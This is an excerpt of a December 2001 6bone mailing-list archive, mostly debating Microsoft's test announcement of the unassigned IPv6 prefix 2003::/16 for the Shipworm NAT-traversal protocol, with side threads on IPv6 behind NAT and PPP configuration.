> published is the standard that Microsoft sticks to when implementing this 
> in a release of their OS, so it can be implemented by other platforms.
> My god, I'm not only thanking Microsoft, I'm sticking up for them too. What 
> is this world coming to?
I am not against Microsoft, just I don't like when *ANYONE* (not just
Microsoft) is breaking the rules.

I can also write some draft about tunneling IPv6 over proxy server or
anything other requiring another /16. It is as much necessary as Shipworm.
Really, there are some users with just connection to web proxy who may need
IPv6. Will you tolerate such "testing" without IANA agreement ?


Best Regards,

Jan Oravec
XS26 - 'Access to IPv6'
jan.oravec@xs26.net

From 6bone-owner  Thu Dec  6 22:56:54 2001
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Date: Fri, 07 Dec 2001 01:57:31 -0500
To: Jan Oravec <wsx@wsx6.net>
From: Paul Timmins <paul@timmins.net>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
Cc: 6bone@ISI.EDU
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At 01:18 AM 12/7/2001, Jan Oravec wrote:
>On Thu, Dec 06, 2001 at 11:17:04PM -0500, Paul Timmins wrote:


>I can also write some draft about tunneling IPv6 over proxy server or
>anything other requiring another /16. It is as much necessary as Shipworm.
>Really, there are some users with just connection to web proxy who may need
>IPv6. Will you tolerate such "testing" without IANA agreement ?

It's my understanding that IANA gave their consent, and just hasn't posted 
such yet. Can the microsoft guy confirm this?
-Paul


From 6bone-owner  Thu Dec  6 23:04:24 2001
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Date: Fri, 7 Dec 2001 09:04:43 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>, Dan Perry <dap23@cornell.edu>
Subject: Re: 6bone access from behind NAT
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On Fri, 7 Dec 2001, Pekka Savola wrote:
> On Thu, 6 Dec 2001, Michael Kjorling wrote:
> > Also, I noted this in the 'ipv6 if' output:
> > 
> > > Interface 3 (site 1): 6-over-4 Virtual Interface
> > >   uses Neighbor Discovery
> > >   sends Router Advertisements
> > >   forwards packets
> > >   link-level address: 192.168.50.1
> > >     preferred address fe80::c0a8:3201, infinite/infinite
> > 
> > Just a question to the gurus here - wouldn't the address be
> > 2001:c0a8:3201::? http://www.6bone.net/6bone_6to4.html seems to imply
> > this, if I read the text correctly: "A special IPv6 routing prefix
> > (2002::/16) is used to indicate that the remaining 32-bits of the
> > external routing prefix contain the IPv4 end-point address of a
> > boundary IPv6 router for that site that will respond to IPv6 in IPv4
> > encapsulation."
> 
> Packets to private addresses and their 6to4 equivalents MUST not be 
> discarded.  You need a global address, otherwise you can't use 6to4.

Doh.  MUST be discarded, of course.  Sorry! 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Dec  6 23:04:41 2001
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Date: Fri, 7 Dec 2001 08:02:38 +0100
From: "Sascha 'sb' Bielski" <sb@rdns.de>
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To: Paul Timmins <paul@timmins.net>
CC: Jan Oravec <wsx@wsx6.net>, 6bone@ISI.EDU
Subject: Re[2]: Announcing 2003::/16 during tests of "shipworm"
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Dear Paul Timmins,

On Freitag, 7. Dezember 2001 at 05:17 you wrote:

PT> Something like this can become very useful for people trapped behind 
PT> firewalls that cannot yet do IPv6, and will be useful until IPv6 is 
PT> ubiquitous enough to garner enough support for all companies to support 
PT> IPv6 in production hardware.

Then Microsoft should use their own ranges. They can test that with
3ffe space, too. There is no need to pollute the main routing table!

PT> Also, I heard there are a few cablemodem providers that block non tcp/udp 
PT> protocols to prevent use of IPSEC by telecommuters and it breaks IPv6 over 
PT> IPv4. Shall these people just be isolated until their providers can get 
PT> their act together?

No. Sure, Microsoft does good work with this protocol, but again:
There is no need to pollute the global routing table!

PT> I could see this being useful to me. Hopefully the standard that is 
PT> published is the standard that Microsoft sticks to when implementing this 
PT> in a release of their OS, so it can be implemented by other platforms.
PT> My god, I'm not only thanking Microsoft, I'm sticking up for them too. What 
PT> is this world coming to?
PT> -Paul

I would support them, to. But Microsoft thinks "we are god, we can
pollute what we want" and that's really bad. Their Peers should
really filter such invalid routes.

-- 
best regards,
Sascha 'sb' Bielski                            mailto:sb@rdns.de
rdns.de admin team
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From 6bone-owner  Thu Dec  6 23:06:07 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Jan Oravec <wsx@wsx6.net>
cc: Christian Huitema <huitema@windows.microsoft.com>, <6bone@ISI.EDU>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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On Fri, 7 Dec 2001, Jan Oravec wrote:
> Anyway, I don't see the point of using the Shipworm. The cleaner solution
> is to configure IPv6 on the box, which provide NAT for the private network.

Sure, but the world was never a clean place.

Most often, you just can't get IPv6 to e.g. your Cable/DSL modems.  Or the 
operator is performing NAT...

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Dec  6 23:58:55 2001
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Subject: RE: Announcing 2003::/16 during tests of "shipworm"
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Thread-Topic: Announcing 2003::/16 during tests of "shipworm"
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From: "Matthew Lehman" <mlehman@microsoft.com>
To: "Paul Timmins" <paul@timmins.net>, "Jan Oravec" <wsx@wsx6.net>
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Christian will have to give an official response on the current status from IANA, but my understanding is that there are no objections and we are waiting on a final response.  I also should say that we are working under a few (possibly incorrect assumptions):
 
1) The 6Bone is a research network developed for the main use of learning about and furthering the deployment of IPv6.  I haven't seen anything about production networks in it's charter, but I may have missed something.  We wouldn't have announced a non-assigned route in a production network.
2) We have put forth IETF drafts for comment of this protocol and applied for the address range from IANA.  While I agree that anyone can put forward a draft (or an RFC for that matter), it does undergo scrutiny from the Internet community and it was never our intention to hijack address space without going through the appropriate processes.
3) There is a large body of people that are interested in a NAT traversal mechanism for IPv6.
 
Sorry if we jumped the gun, we're just trying to do due diligence and test the protocol in a larger scale scenario in the right network.  I thought the 6Bone was the right place to do that.
 
-Matthew

	-----Original Message----- 
	From: Paul Timmins [mailto:paul@timmins.net] 
	Sent: Thu 12/6/2001 10:57 PM 
	To: Jan Oravec 
	Cc: 6bone@ISI.EDU 
	Subject: Re: Announcing 2003::/16 during tests of "shipworm"
	
	

	At 01:18 AM 12/7/2001, Jan Oravec wrote:
	>On Thu, Dec 06, 2001 at 11:17:04PM -0500, Paul Timmins wrote:
	
	
	>I can also write some draft about tunneling IPv6 over proxy server or
	>anything other requiring another /16. It is as much necessary as Shipworm.
	>Really, there are some users with just connection to web proxy who may need
	>IPv6. Will you tolerate such "testing" without IANA agreement ?
	
	It's my understanding that IANA gave their consent, and just hasn't posted
	such yet. Can the microsoft guy confirm this?
	-Paul
	
	


From 6bone-owner  Fri Dec  7 00:54:20 2001
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Subject: Re: Announcing 2003::/16 during tests of "shipworm" 
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>1) The 6Bone is a research network developed for the main use of
>learning about and furthering the deployment of IPv6.  I haven't
>seen anything about production networks in it's charter, but I may
>have missed something.  We wouldn't have announced a non
>-assigned route in a production network.

	since there's only one single IPv6 network (just like there's only
	one IPv4 internet), the 6bone is interconnected to other serious
	commercial IPv6 networks.  the above assumption may not be appropriate.

itojun

From 6bone-owner  Fri Dec  7 01:29:33 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Jan Oravec <wsx@wsx6.net>
cc: Paul Timmins <paul@timmins.net>, <6bone@ISI.EDU>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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On Fri, 7 Dec 2001, Jan Oravec wrote:
> > I could see this being useful to me. Hopefully the standard that is 
> > published is the standard that Microsoft sticks to when implementing this 
> > in a release of their OS, so it can be implemented by other platforms.
> > My god, I'm not only thanking Microsoft, I'm sticking up for them too. What 
> > is this world coming to?
>
> I am not against Microsoft, just I don't like when *ANYONE* (not just
> Microsoft) is breaking the rules.
> 
> I can also write some draft about tunneling IPv6 over proxy server or
> anything other requiring another /16. It is as much necessary as Shipworm.
> Really, there are some users with just connection to web proxy who may need
> IPv6. Will you tolerate such "testing" without IANA agreement ?

I don't understand your point; IANA agreement is not a short process.  
What's the drawback here?  I wouldn't tolerate this kind of testing if it
conflicted with any current, valid prefixes, thus degrading service.  
Here, there is no service loss for anyone, quite the contrary.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Dec  7 01:52:01 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Paul Aitken <paitken@cisco.com>
cc: 6bone@ISI.EDU
Subject: Re: In search of a peer 
In-reply-to: Your message of Thu, 06 Dec 2001 11:13:54 GMT.
             <3C0F52F2.9080209@cisco.com> 
Date: Fri, 07 Dec 2001 10:52:20 +0100
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 In your previous mail you wrote:

   > => BTW I am looking for a 6to4 node connected to the 6bone
   > (I'd like to try my private 6to4 gateway and its security rules).
   
   http://www.kfu.com/~nsayer/6to4/#list
   
=> I am looking for end-nodes, not for 6to4 gateways.

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Fri Dec  7 02:26:08 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Nick Sayer <nsayer@quack.kfu.com>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 PPP procedures? 
In-reply-to: Your message of Thu, 06 Dec 2001 11:41:15 PST.
             <3C0FC9DB.8050402@kfu.com> 
Date: Fri, 07 Dec 2001 11:26:31 +0100
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 In your previous mail you wrote:

   Is there a spec for what a PPP connection is supposed to do once the 
   link-local addresses are established? Shouldn't the "client" at that 
   point perform a router solicitation to determine the prefix on its 
   endpoint or something?
   
=> there are three cases:
 - both ends are hosts: nothing to do.
 - one end is a host, the other one is a route: the host sends router
   solicitations, the router sends router advertisements, and when
   the host receives a router advertisement it applies RFC 2462
   (auto-configuration) and can get global addresses.
 - both ends are routers: a routing protocol should be started
   (look at Itojun's dialup draft for other details).

Regards

Francis.Dupont@enst-bretagne.fr

PS: in the common case (router-host) the router uses a static config
(in the ipv6-up script) and the host auto-conf/neighbor discovery.
This works well for a /128 if the implementation is good but Itojun
has good arguments about what to do further (so read his draft).

From 6bone-owner  Fri Dec  7 04:24:48 2001
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Date: Fri, 7 Dec 2001 14:24:28 +0200
From: Peter Pentchev <roam@ringlet.net>
To: itojun@iijlab.net
Cc: Matthew Lehman <mlehman@microsoft.com>, Paul Timmins <paul@timmins.net>,
        Jan Oravec <wsx@wsx6.net>, 6bone@ISI.EDU
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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On Fri, Dec 07, 2001 at 05:54:55PM +0900, itojun@iijlab.net wrote:
> >1) The 6Bone is a research network developed for the main use of
> >learning about and furthering the deployment of IPv6.  I haven't
> >seen anything about production networks in it's charter, but I may
> >have missed something.  We wouldn't have announced a non
> >-assigned route in a production network.
> 
> 	since there's only one single IPv6 network (just like there's only
> 	one IPv4 internet), the 6bone is interconnected to other serious
> 	commercial IPv6 networks.  the above assumption may not be appropriate.

Besides, the address range used for this testing - 2003::/16 - is not
really part of the 6bone.

G'luck,
Peter

-- 
This would easier understand fewer had omitted.

From 6bone-owner  Fri Dec  7 05:08:17 2001
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Date: Fri, 7 Dec 2001 14:08:52 +0100
From: Petr Baudis <pasky@pasky.ji.cz>
To: Dan Perry <dap23@cornell.edu>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone access from behind NAT
Message-ID: <20011207130852.GG18228@pasky.ji.cz>
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Dear diary, on Thu, Dec 06, 2001 at 11:30:53PM CET, I got a letter, where Dan
Perry <dap23@cornell.edu> told me, that...
> Thanks for the suggestions I've gotten so far.  But it seems I didn't clearly
> state what was wrong.   The real problem I'm having is that I have a 2000
> behind NAT.   I want that server to connect to the 6bone and act as a router
> for the local network behind the NAT.   However, I can't figure out how to
> get the server to connect to the 6bone, since it is behind NAT.  I've been
> trying to use freenet6 as a tunnel broker.   I've manually configured the NAT
> to route all incoming ports to my server.  My idea was that the tunnel would
> get forwarder along with the other incoming IPv4 traffic, and then my server
> could act as a terminator for the tunnel, and also route IPv6 traffic to the
> other clients behind the NAT.   What I want to know is has anyone
> successfully connected to the 6bone from behind a NAT.    Is this even
> possible?   The freenet6 tunnel broker gives a success message that it has
> connected, but I can't ping anything outside.   Is there anything I can read
> up on the might help me deal with the NAT that my server is behind.
The SIT tunnel (used for tunneling of IPv6) traffic uses special protocol
(number 41) at the same level as TCP or UDP is, so with forwarding of TCP or
UDP traffic you won't forward SIT traffic. Solution is either to persuade your
NAT to forward also every traffic with protocol number 41 to your win2k machine
or to use some kind of IPv4 tunneling for this. E.g. you will get IPv4 IP from
someone and estabilish PPP tunnel to him thru internet. And then you will dig
your SIT tunnel to that public IPv4 address, which will actually belong to you.

I wonder if there is also any other application which would allow SIT tunneling
behind NAT, using TCP or (rather) UDP. On UNIX systems this can be done by
conjuring with pppd, however I have no idea how to do this on Windows systems.

-- 

				Petr "Pasky" Baudis

UN*X programmer, UN*X administrator, hobbies = IPv6, IRC, FreeCiv hacking

From 6bone-owner  Fri Dec  7 05:38:28 2001
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6bone=testbed

testbed=announce routes that allow people to Test.

I see no reason to not allow *ANY* prefix that has a legit purpose for
testing on the 6bone.  This should in no way break any existing asignments.
Unless I hear something from Working-Group chairs, I will be appending this
prefix to my filters today.

P.S. If any of you have this route in your table now, you aren't abiding by
rfc2772 for filtering anyhow, so I don't see where the room to complain
about it exists.  If you filter strictly, you would not see this route
in your RIB...


Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Fri, 7 Dec 2001, Jan Oravec wrote:

->> You may have observed Microsoft announcing reachability of the prefix
->> 2003::/16 over the 6Bone. The appended e-mail sent to the NGTRANS
->> working group explains why. We are currently testing the "Shipworm"
->> protocol, which carries IPv6 through NAT by using encapsulation over
->
->Although I welcome your will to participate on IPv6 protocol development,
->I cannot agree with announcing 2003::/16. There are active production IPv6
->networks over the world already which are connected to 6bone and receiving
->this non-official prefixe. It is the same as advertising 197.0.0.0/8 over
->the Internet which is, according to IANA, reserved prefix.
->
->Anyway, I don't see the point of using the Shipworm. The cleaner solution
->is to configure IPv6 on the box, which provide NAT for the private network.
->
->
->Best Regards,
->
->Jan Oravec
->XS26 - 'Access to IPv6'
->jan.oravec@xs26.net
->



From 6bone-owner  Fri Dec  7 08:00:37 2001
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Subject: RE: Announcing 2003::/16 during tests of "shipworm"
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Jan Oravec Wrote:

>> Although I welcome your will to participate on IPv6 protocol
>> development, I cannot agree with announcing 2003::/16. There
>> are active production IPv6 networks over the world already
>> which are connected to 6bone and receiving this non-official
>> prefixe.

Any serious production network would not be affected by this. Does your
IPv4 production network accept BGP advertisements for 10.0.0.0/8 ?


>> Anyway, I don't see the point of using the Shipworm.

Lots of other people do.


>> I am not against Microsoft, just I don't like when *ANYONE*
>> (not just Microsoft) is breaking the rules.

Can you clarify which rules you are refering to?


Michel.


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I need to move a tunnel from Merit and the only contact I have bounces
(masaki@merit.edu).  Anyone from Merit have another contact I should
use?

=20

Thanks,

=20

-Matthew

=20

=20


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<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I need to move a tunnel from Merit and the only =
contact I
have bounces (<a href=3D"mailto:masaki@merit.edu">masaki@merit.edu</a>).
&nbsp;Anyone from Merit have another contact I should =
use?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks,</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>-Matthew</span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;</span></font></p>

</div>

</body>

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From 6bone-owner  Fri Dec  7 08:57:18 2001
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Date: Fri, 07 Dec 2001 07:04:48 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
Cc: Christian Huitema <huitema@microsoft.com>, Randy Bush <randy@psg.com>,
        Robert Rockell <rrockell@sprint.net>
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At 08:37 AM 12/7/2001 -0500, Robert J. Rockell wrote:
>6bone=testbed
>
>testbed=announce routes that allow people to Test.
>
>I see no reason to not allow *ANY* prefix that has a legit purpose for
>testing on the 6bone.  This should in no way break any existing asignments.

I do agree with this. The 6bone is a test network, and as such would not be 
doing a proper job if we didn't allow new ideas (and prefixes) to be used 
for testing, as long as they don't mess up others (which Rob covers below).

A point that should be re-emphasized about the 6bone is that it does have a 
need to interconnect to the "production" IPv6 Internet. A 
non-interconnected set of networks is not the Internet as we all know and 
love it, and the v6 Internet is no exception.

Many/most/all of the open v6 peering points around the world do, in fact, 
connect 3FFE and 2001 prefix-using networks together. Some of these 
networks even have both 3FFE and 2001 prefixes allocated to them. We 
continue to encourage such peerings and trust that properly managed and 
operated peerings protect bad things from happening (which is what RFC2772 
is about, but read on below).


>Unless I hear something from Working-Group chairs, I will be appending this
>prefix to my filters today.
>P.S. If any of you have this route in your table now, you aren't abiding by
>rfc2772 for filtering anyhow, so I don't see where the room to complain
>about it exists.  If you filter strictly, you would not see this route
>in your RIB...

RFC2772 is the 6bone's current operational guidelines, both for routing and 
overall participation. Rob and a few others of us are now doing a rewrite 
to bring it up to date, but it is still in force and very relevant.

As for the filtering rules in RFC2772, I presume Rob refers to the 
parenthetical note in RFC2772 3.1:

"(Also, it is each pTLA, pNLA, and end-site's responsibility to not only 
filter their own BGP4+ sessions appropriately to peers, but to filter 
routes coming from peers as well, and to only allow those routes that fit 
the aggregation model, and do not cause operational problems)."

The reader should also look at the rest of section 3, as well as sections 4 
and 9, for more general guidance for routing policy and other filtering.


As for SHIPWORM's status in ngtrans, you should read the ngtrans project 
status page (I do keep it quite up to date):

<http://www.6bone.net/ngtrans/ngtrans_project-status.html#SHIPWORM>

which currently states:

shipworm-02 published 26Sep01, last call for forwarding closes 12Oct01
shipworm-03 published 16Oct01 to answer last call comments
             forwarded to IESG 18Oct01
             IESG evaluating nat traversal issues before proceeding

The last communications on this with Randy Bush, our AD, are:

>From: Randy Bush <randy@psg.com>
>To: Bob Fink <fink@es.net>
>Cc: Bert Wijnen <bwijnen@lucent.com>,
>         IETF Secretariat <ietf-secretariat@ietf.org>,
>         Alain Durand <Alain.Durand@sun.com>, Tony Hain <tony@tndh.net>,
>         NGtrans List <ngtrans@sunroof.eng.sun.com>
>Subject: (ngtrans) Re: forwarding SHIPWORM for PS
>Date: Thu, 18 Oct 2001 23:11:40 -0700
>
> > SHIPWORM-02 finished ngtrans WG last call with comments that were resolved
> > in the new -03 draft:
> >
> > <http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-shipworm-03.txt>
> >
> > Please process this draft as a candidate for PS.
>
>the iab has raised a general architectural issue regarding nat traversal
>that has clear relevance to this draft, midcom, and so forth.  i am trying
>to understand it more before progressing.  please stay tuned.
>
>randy

and:

>From: Randy Bush <randy@psg.com>
>To: Christian Huitema <huitema@windows.microsoft.com>
>Cc: Alain Durand <Alain.Durand@sun.com>,
>     Tony Hain <tony@tndh.net>,
>     Bob Fink <fink@es.net>,
>     Bert Wijnen <bwijnen@lucent.com>
>Subject: Re: shipworm progress?
>Date: Thu, 08 Nov 2001 13:43:15 -0800
>
> > When can we expect the IESG to issue a last call?
>
>no sooner than the architectural issues that were raised with the midcom
>etc. work are resolved.
>
>randy


We, the ngtrans chairs, do want SHIPWORM to progress into production, but a 
Shipworm IPv6 service prefix
is not likely to be assigned by IANA until the IESG moves the draft forward 
(Randy can correct me if I am wrong). Meanwhile, testing is needed and 
underway. Any choice of interim prefix is almost certainly likely to be 
different than one assigned for production, so I don't particularly care 
what is used.

If a 3FFE-based prefix is temporarily requested, I would support allocating 
it for further testing, but don't think it matters at this stage given the 
test use of 2003 for this is already underway.


Thanks,

Bob


From 6bone-owner  Fri Dec  7 09:12:22 2001
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Date: Fri, 7 Dec 2001 12:12:59 -0500
From: Dale Fay <dalef@merit.edu>
To: Matthew Lehman <mlehman@microsoft.com>
Cc: 6bone@ISI.EDU
Subject: Re: Merit contact
Message-ID: <20011207121258.A6040@dharma.merit.edu>
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Matthew,
  You can reach the correct group at Merit for 6bone issues
at ardt@merit.edu.

                         Dale

On Fri, Dec 07, 2001 at 08:42:28AM -0800, Matthew Lehman wrote:
> I need to move a tunnel from Merit and the only contact I have bounces
> (masaki@merit.edu).  Anyone from Merit have another contact I should
> use?
> 
>  
> 
> Thanks,
> 
>  
> 
> -Matthew
> 
>  
> 
>  
> 


-- 

Dale Fay
Merit RSng/RADB
www.rsng.net
www.radb.net


From 6bone-owner  Fri Dec  7 10:28:11 2001
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Date: Fri, 7 Dec 2001 13:28:48 -0500 (EST)
From: Ville <villearc@stealth.net>
To: 6bone@ISI.EDU
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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On Fri, 7 Dec 2001, Jan Oravec wrote:

> Anyway, I don't see the point of using the Shipworm. The cleaner solution
> is to configure IPv6 on the box, which provide NAT for the private network.

> [...]

Personally, all I can see here is yet another Bash your parter -thread,
TMPWBVL (too many people with big virtual LARTs).

I doubt this ever would have gotten this far:

	a) If the organization announcing 2003::/16 was not Microsoft
	   and such an indeniable amount of Microsoft-hatred did not
	   exist on this and many other techie-lists.

	b) If the peers of Microsoft filtered announcements for invalid
	   prefixes either manually (exclusively permitting known
	   valid and allocated routes only) or automatically (based on
	   the data synchronized from remote servers or databases).

	   Both, for their own safety and for the sake of their own
	   reputation as a responsible peer both IPv4- and IPv6-wise.

	c) If somebody had initially forwarded the e-mail many, but not
	   all members of this list, saw on the ngtrans ML.

And the optional d) about if people took things calmly and possibly tried
approaching the remote party first to have the issue resolved- maybe we
all would save a quarter of our time and an hour's worth of unnecessary
headache.


> Jan Oravec

Cheers.
-- 
	Ville <viha@stealth.net>  Network Security/IPv6 Solutions
				  Stealth Communications, Inc.




From 6bone-owner  Fri Dec  7 11:26:47 2001
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Date: Fri, 7 Dec 2001 11:28:56 -0800
From: David Kessens <6bone-list@kessens.com>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
Message-ID: <20011207112856.C28047@iprg.nokia.com>
References: <20011207030357.A36704@ipv6.isternet.sk> <Pine.GSO.4.33.0112070831510.26729-100000@iscserv1> <5.1.0.14.0.20011207060243.0310b558@imap2.es.net>
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Bob,

On Fri, Dec 07, 2001 at 07:04:48AM -0800, Bob Fink wrote:
> 
> A point that should be re-emphasized about the 6bone is that it does have a 
> need to interconnect to the "production" IPv6 Internet. A 
> non-interconnected set of networks is not the Internet as we all know and 
> love it, and the v6 Internet is no exception.

It seems that we are already quite far past the point that the 6bone
is just a test network. There really isn't any 'production' ipv6
network that is separate of the 6bone. It is one big (?) ipv6 Internet.

Every network outside your own is totally out of your control (of
course we are all under Microsofts control :-)). It is usually a good
idea to protect oneself against all the evil that is out there and
that is everybodies own reponsibility. You will need this protection
anyways because there is not only people out there who are testing new
protocols, but there is an even larger number of people who just make
plain mistakes.

Just keep continue the testing and if you consider yourself a
production network, keep protecting yourself against the people
testing the new protocols and we should be able to coexist for a long
time to come.

At the same time, there is nothing wrong with people raising questions
on the maillist about things that seem to be wrong or in error. We
do want to hear about such cases and judge for ourselves whether it
merits to deploy extra protective armor that we didn't deploy already
in our networks.

David K.
---

From 6bone-owner  Fri Dec  7 11:32:39 2001
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cc: 6BONE List <6bone@ISI.EDU>, Christian Huitema <huitema@microsoft.com>,
        Randy Bush <randy@psg.com>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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Sprint is now giving transit to 2003::/16.  Thanks for the clarification,
Bob.     It is announced to all 3FFE::/16 addressed peers.


Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Fri, 7 Dec 2001, Bob Fink wrote:

->At 08:37 AM 12/7/2001 -0500, Robert J. Rockell wrote:
->>6bone=testbed
->>
->>testbed=announce routes that allow people to Test.
->>
->>I see no reason to not allow *ANY* prefix that has a legit purpose for
->>testing on the 6bone.  This should in no way break any existing asignments.
->
->I do agree with this. The 6bone is a test network, and as such would not be
->doing a proper job if we didn't allow new ideas (and prefixes) to be used
->for testing, as long as they don't mess up others (which Rob covers below).
->
->A point that should be re-emphasized about the 6bone is that it does have a
->need to interconnect to the "production" IPv6 Internet. A
->non-interconnected set of networks is not the Internet as we all know and
->love it, and the v6 Internet is no exception.
->
->Many/most/all of the open v6 peering points around the world do, in fact,
->connect 3FFE and 2001 prefix-using networks together. Some of these
->networks even have both 3FFE and 2001 prefixes allocated to them. We
->continue to encourage such peerings and trust that properly managed and
->operated peerings protect bad things from happening (which is what RFC2772
->is about, but read on below).
->
->
->>Unless I hear something from Working-Group chairs, I will be appending this
->>prefix to my filters today.
->>P.S. If any of you have this route in your table now, you aren't abiding by
->>rfc2772 for filtering anyhow, so I don't see where the room to complain
->>about it exists.  If you filter strictly, you would not see this route
->>in your RIB...
->
->RFC2772 is the 6bone's current operational guidelines, both for routing and
->overall participation. Rob and a few others of us are now doing a rewrite
->to bring it up to date, but it is still in force and very relevant.
->
->As for the filtering rules in RFC2772, I presume Rob refers to the
->parenthetical note in RFC2772 3.1:
->
->"(Also, it is each pTLA, pNLA, and end-site's responsibility to not only
->filter their own BGP4+ sessions appropriately to peers, but to filter
->routes coming from peers as well, and to only allow those routes that fit
->the aggregation model, and do not cause operational problems)."
->
->The reader should also look at the rest of section 3, as well as sections 4
->and 9, for more general guidance for routing policy and other filtering.
->
->
->As for SHIPWORM's status in ngtrans, you should read the ngtrans project
->status page (I do keep it quite up to date):
->
-><http://www.6bone.net/ngtrans/ngtrans_project-status.html#SHIPWORM>
->
->which currently states:
->
->shipworm-02 published 26Sep01, last call for forwarding closes 12Oct01
->shipworm-03 published 16Oct01 to answer last call comments
->             forwarded to IESG 18Oct01
->             IESG evaluating nat traversal issues before proceeding
->
->The last communications on this with Randy Bush, our AD, are:
->
->>From: Randy Bush <randy@psg.com>
->>To: Bob Fink <fink@es.net>
->>Cc: Bert Wijnen <bwijnen@lucent.com>,
->>         IETF Secretariat <ietf-secretariat@ietf.org>,
->>         Alain Durand <Alain.Durand@sun.com>, Tony Hain <tony@tndh.net>,
->>         NGtrans List <ngtrans@sunroof.eng.sun.com>
->>Subject: (ngtrans) Re: forwarding SHIPWORM for PS
->>Date: Thu, 18 Oct 2001 23:11:40 -0700
->>
->> > SHIPWORM-02 finished ngtrans WG last call with comments that were resolved
->> > in the new -03 draft:
->> >
->> > <http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-shipworm-03.txt>
->> >
->> > Please process this draft as a candidate for PS.
->>
->>the iab has raised a general architectural issue regarding nat traversal
->>that has clear relevance to this draft, midcom, and so forth.  i am trying
->>to understand it more before progressing.  please stay tuned.
->>
->>randy
->
->and:
->
->>From: Randy Bush <randy@psg.com>
->>To: Christian Huitema <huitema@windows.microsoft.com>
->>Cc: Alain Durand <Alain.Durand@sun.com>,
->>     Tony Hain <tony@tndh.net>,
->>     Bob Fink <fink@es.net>,
->>     Bert Wijnen <bwijnen@lucent.com>
->>Subject: Re: shipworm progress?
->>Date: Thu, 08 Nov 2001 13:43:15 -0800
->>
->> > When can we expect the IESG to issue a last call?
->>
->>no sooner than the architectural issues that were raised with the midcom
->>etc. work are resolved.
->>
->>randy
->
->
->We, the ngtrans chairs, do want SHIPWORM to progress into production, but a
->Shipworm IPv6 service prefix
->is not likely to be assigned by IANA until the IESG moves the draft forward
->(Randy can correct me if I am wrong). Meanwhile, testing is needed and
->underway. Any choice of interim prefix is almost certainly likely to be
->different than one assigned for production, so I don't particularly care
->what is used.
->
->If a 3FFE-based prefix is temporarily requested, I would support allocating
->it for further testing, but don't think it matters at this stage given the
->test use of 2003 for this is already underway.
->
->
->Thanks,
->
->Bob
->



From 6bone-owner  Fri Dec  7 17:04:03 2001
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	(envelope-from bmanning)
Date: Fri, 7 Dec 2001 17:04:33 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>, Christian Huitema <huitema@microsoft.com>,
        Randy Bush <randy@psg.com>, Robert Rockell <rrockell@sprint.net>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
Message-ID: <20011207170433.C10433@zed.isi.edu>
References: <20011207030357.A36704@ipv6.isternet.sk> <Pine.GSO.4.33.0112070831510.26729-100000@iscserv1> <5.1.0.14.0.20011207060243.0310b558@imap2.es.net>
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	Random hijacking of prefixes is a practice that should
	be discouraged.  This sets a dangerous example.


On Fri, Dec 07, 2001 at 07:04:48AM -0800, Bob Fink wrote:
> At 08:37 AM 12/7/2001 -0500, Robert J. Rockell wrote:
> >6bone=testbed
> >
> >testbed=announce routes that allow people to Test.
> >
> >I see no reason to not allow *ANY* prefix that has a legit purpose for
> >testing on the 6bone.  This should in no way break any existing asignments.
> 
> I do agree with this. The 6bone is a test network, and as such would not be 
> doing a proper job if we didn't allow new ideas (and prefixes) to be used 
> for testing, as long as they don't mess up others (which Rob covers below).
> 
> A point that should be re-emphasized about the 6bone is that it does have a 
> need to interconnect to the "production" IPv6 Internet. A 
